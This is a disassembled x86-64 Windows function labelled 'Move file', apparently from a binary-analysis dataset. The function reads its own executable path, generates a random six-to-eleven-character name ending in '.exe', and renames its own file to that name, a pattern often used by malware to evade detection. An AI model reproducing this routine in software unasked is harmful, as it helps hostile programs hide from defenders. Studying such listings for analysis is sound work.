Function at 0x1400188a0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
xor r12d, r12d
mov r8d, 0x104
lea rdx, [rbp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xc0]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x140018900
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x140018c97
mov r13d, reloc.WLDAP32.dll_Ordinal_22
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140018951
mov qword [rsp + 0x30], rdi
mov r8, rdi
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x20], r12b
jmp 0x14001899f
mov rsi, rdi
or rsi, 0xf
cmp rsi, r14
jbe 0x140018962
mov rsi, r14
jmp 0x140018969
cmp rsi, r13
cmovb rsi, r13
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x20]
call fcn.140009aa0
mov rbx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rsi
mov r8, rdi
lea rdx, [rbp + 0xc0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], r12b
mov rdi, qword [rsp + 0x30]
lea rbx, [rsp + 0x20]
mov rsi, qword [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rbx, rsi
test rdi, rdi
je 0x140018a28
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x18], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x1d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x1c], 1
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x40], 0
jne 0x140018a23
cmp rcx, rbx
je 0x140018a28
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x40], 0
je 0x140018a11
sub rcx, rbx
jmp 0x140018a2f
mov rcx, 0xffffffffffffffff
inc rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
cmp rdi, rcx
jb 0x140018c9d
mov rax, rdi
sub rax, rcx
cmp rax, rdi
cmovb rdi, rax
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rax, rsi
lea rsi, [rcx + rax]
cmp rdi, r14
ja 0x140018c91
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140018a9c
mov qword [rsp + 0x50], rdi
mov r8, rdi
mov rdx, rsi
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x40], 0
jmp 0x140018ae5
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x140018ab3
mov r14, rax
cmp rax, 0x16
cmovb r14, r13
lea rdx, [r14 + 1]
lea rcx, [rsp + 0x40]
call fcn.140009aa0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], r14
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movups xmm0, xmmword [str.qwertyuiop___llkjhgfdsazxcvbnm_.__________12345677890_]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [0x140077468]
movups xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [0x140077478]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [0x140077488]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x140077490]
mov dword [rbp - 0x50], eax
movzx eax, word [0x140077494]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x140077496]
mov byte [rbp - 0x4a], al
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
movsxd rdi, r8d
add rdi, 6
test rdi, rdi
jle 0x140018baa
mov rbx, r12
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x38e38e39
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
shl ecx, 2
sub r8d, ecx
movsxd rax, r8d
movzx ecx, byte [rsp + rax + 0x78]
mov byte [rsp + rbx + 0x60], cl
inc rbx
cmp rbx, rdi
jl 0x140018b72
mov byte [rsp + rdi + 0x60], 0
lea r8, str..exe
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140018c22
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018c1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072bbc
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140018c75
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018c70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072bbc
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
call fcn.140001980
nop
call fcn.140001980
nop
call fcn.140009ce0
int3